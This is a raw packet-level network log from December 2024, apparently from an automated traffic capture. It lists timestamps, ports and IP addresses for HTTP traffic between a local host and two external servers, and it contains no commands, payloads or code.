Dec 7, 2024 15:08:07.106112957 CET	49745	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:07.106266022 CET	49745	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:07.226526976 CET	80	49745	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:08.467382908 CET	80	49745	185.215.113.43	192.168.2.8
Dec 7, 2024 15:08:08.467457056 CET	49745	80	192.168.2.8	185.215.113.43
Dec 7, 2024 15:08:08.470576048 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:08.590302944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:08.590401888 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:08.590588093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:08.710560083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932593107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932655096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932665110 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932672977 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.932710886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.932710886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.932770014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932781935 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932792902 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932805061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.932843924 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.933000088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.933011055 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.933029890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.933029890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.933054924 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.933054924 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:09.933113098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:09.933151960 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.057833910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.057848930 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.057894945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.057924986 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.124845028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.124907017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.124982119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.125030041 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.129038095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.129090071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.129175901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.129221916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.135684967 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.135762930 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.135839939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.135899067 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.143924952 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.144011974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.144043922 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.144093990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.152343988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.152419090 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.152447939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.152544975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.160689116 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.160753012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.160828114 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.160908937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.169204950 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.169272900 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.169441938 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.169544935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.177521944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.177607059 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.177696943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.177747011 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.185935020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.186027050 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.186064005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.186141014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.194499969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.194600105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.194761038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.194849014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.202686071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.202743053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.202780962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.202825069 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.317094088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.317292929 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.317313910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.317373037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.319355011 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.319402933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.319466114 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.319509029 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.323925018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.323995113 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.324026108 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.324100018 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.328478098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.328531981 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.328553915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.328588009 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.333036900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.333101988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.333134890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.333195925 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.337593079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.337693930 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.337702036 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.337755919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.342130899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.342190981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.342257977 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.342308998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.346719980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.346793890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.346827984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.346889019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.351264000 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.351321936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.351382017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.351433992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.355855942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.355921030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.355952978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.356000900 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.360404015 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.360491037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.360500097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.360528946 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.364906073 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.364980936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.365020037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.365077972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.369469881 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.369549036 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.369592905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.369641066 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.374075890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.374130011 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.374227047 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.374277115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.378582954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.378638029 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.378686905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.378734112 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.383151054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.383239985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.383272886 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.383327961 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.387725115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.387820005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.387820959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.387867928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.392245054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.392335892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.509133101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.509217024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.509260893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.509430885 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.510363102 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.510415077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.510457039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.510530949 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.514130116 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.514173031 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.514225960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.514271021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.517970085 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.518064022 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.518090963 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.518150091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.521738052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.521816969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.521852970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.521907091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.525577068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.525626898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.525665045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.525717020 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.529395103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.529458046 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.529496908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.529548883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.533195972 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.533246040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.533416986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.533471107 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.537034988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.537077904 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.537090063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.537127972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.540838003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.540906906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.540961981 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.541011095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.544660091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.544727087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.544830084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.544863939 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.548408985 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.548429012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.548471928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.548471928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.552175999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.552288055 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.552344084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.556019068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.556124926 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.556200027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.559828997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.559998989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.560060978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.563653946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.563764095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.563824892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.567461967 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.567574978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.567621946 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.571261883 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.571381092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.571423054 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.575047016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.575211048 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.575329065 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.578887939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.579014063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.579082012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.582710028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.582828045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.582884073 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.586494923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.586579084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.586621046 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.590313911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.590447903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.590487957 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.594125986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.594290018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.594363928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.597934008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.598071098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.598123074 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.601772070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.601905107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.601983070 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.605586052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.605659962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.605669022 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.605765104 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.701658010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.701941013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.702034950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.703370094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.703481913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.703522921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.706739902 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.706850052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.706921101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.709882021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.709991932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.710063934 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.713268042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.713318110 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.713438988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.713701963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.716559887 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.716619968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.716756105 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.717670918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.719705105 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.719862938 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.719932079 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.722775936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.722903013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.722994089 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.725933075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.725953102 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.726007938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.726007938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.728813887 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.728924990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.728944063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.729072094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.731663942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.731765032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.731815100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.734498024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.734615088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.734683037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.737314939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.737377882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.737479925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.737648010 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.740065098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.740187883 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.740230083 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.742854118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.742954016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.742994070 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.745608091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.745668888 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.745706081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.748390913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.748446941 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.748485088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.749664068 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.751168013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.751271009 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.751329899 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.753927946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.754050970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.754096031 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.756661892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.756736994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.756798029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.757656097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.759443998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.759510994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.759593010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.759660006 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.762217045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.762319088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.762392998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.764971018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.765053988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.765098095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.767744064 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.767869949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.767919064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.770596027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.770720959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.770767927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.773309946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.773384094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.773472071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.776164055 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.776212931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.776218891 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.777658939 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.778800011 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.778852940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.778887987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.778938055 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.781554937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.781613111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:10.781694889 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.784446955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:10.784502983 CET	49746	80	192.168.2.8	185.215.113.16
